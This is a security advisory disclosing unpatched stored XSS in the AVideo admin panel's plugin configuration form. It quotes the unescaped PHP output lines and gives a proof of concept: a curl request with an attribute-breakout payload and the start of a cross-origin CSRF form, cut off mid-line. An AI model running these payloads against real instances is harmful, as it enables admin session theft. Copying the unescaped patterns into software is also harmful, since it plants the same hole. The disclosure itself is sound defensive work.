GitHub Security Advisory: GHSA-v4h7-3x43-qqw4
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo has Stored XSS via Unescaped Plugin Configuration Values in Admin Panel

Details:
## Summary

The AVideo admin panel renders plugin configuration values in HTML forms without applying `htmlspecialchars()` or any other output encoding. The `jsonToFormElements()` function in `admin/functions.php` directly interpolates user-controlled values into textarea contents, option elements, and input attributes. An attacker who can set a plugin configuration value (either as a compromised admin or by chaining with CSRF on `admin/save.json.php`) can inject arbitrary JavaScript that executes whenever any administrator visits the plugin configuration page.

This vulnerability chains with AVI-046 (CSRF on `save.json.php`) to enable a full cross-origin stored XSS attack against the admin panel without requiring any prior authentication.

## Details

The `jsonToFormElements()` function in `admin/functions.php` contains multiple unsafe output points where configuration values are rendered without escaping:

**Textarea injection (line 47):**
```php
// admin/functions.php:47
$html .= "<textarea class='form-control' name='{$name}' id='{$id}'>{$valueJson->value}</textarea>";
```
The `$valueJson->value` is placed directly between textarea tags without encoding.

**Select option injection (line 55):**
```php
// admin/functions.php:55
$html .= "<option value='{$key}' {$select}>{$value}</option>";
```
Both `$key` and `$value` are inserted without encoding, allowing attribute breakout and HTML injection.

**Input type and value injection (lines 62-63):**
```php
// admin/functions.php:62-63
$html .= "<input class='form-control' type='{$valueJson->type}' value='{$valueJson->value}' name='{$name}' id='{$id}'/>";
```
Both `type` and `value` attributes are unescaped, enabling attribute injection.

**Fallback input injection (line 75):**
```php
// admin/functions.php:75
$html .= "<input class='form-control' type='text' value='{$valueJson}' name='{$name}' id='{$id}'/>";
```
The raw `$valueJson` string is placed into the `value` attribute without encoding.

Configuration values are saved via `admin/save.json.php`, which lacks CSRF token validation.

## Proof of Concept

**Method 1: Direct exploitation (requires admin session)**

```bash
# Store XSS payload in a plugin configuration value
# The endpoint uses pluginName and direct field names as parameters
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
  -X POST "https://your-avideo-instance.com/admin/save.json.php" \
  -d "pluginName=PlayerSkins&skin=x' onfocus=alert(document.cookie) autofocus='"
```

When any admin visits the plugin configuration page, the payload fires.

**Method 2: Cross-origin chain with CSRF (no authentication required)**

Create the following HTML page and trick an admin into visiting it:

```html
<!DOCTYPE html>
<html>
<head><title>AVI-033 + AVI-046 Chain PoC</title></head>
<body>
<h1>Loading...</h1>
<form id="xss" method="POST"
      action="https://your-avideo-instance.com/admin/save.json.php">
  <input type="hidden" name="name" value="Gallery" />
  <input type="hidden" name="parameter" valu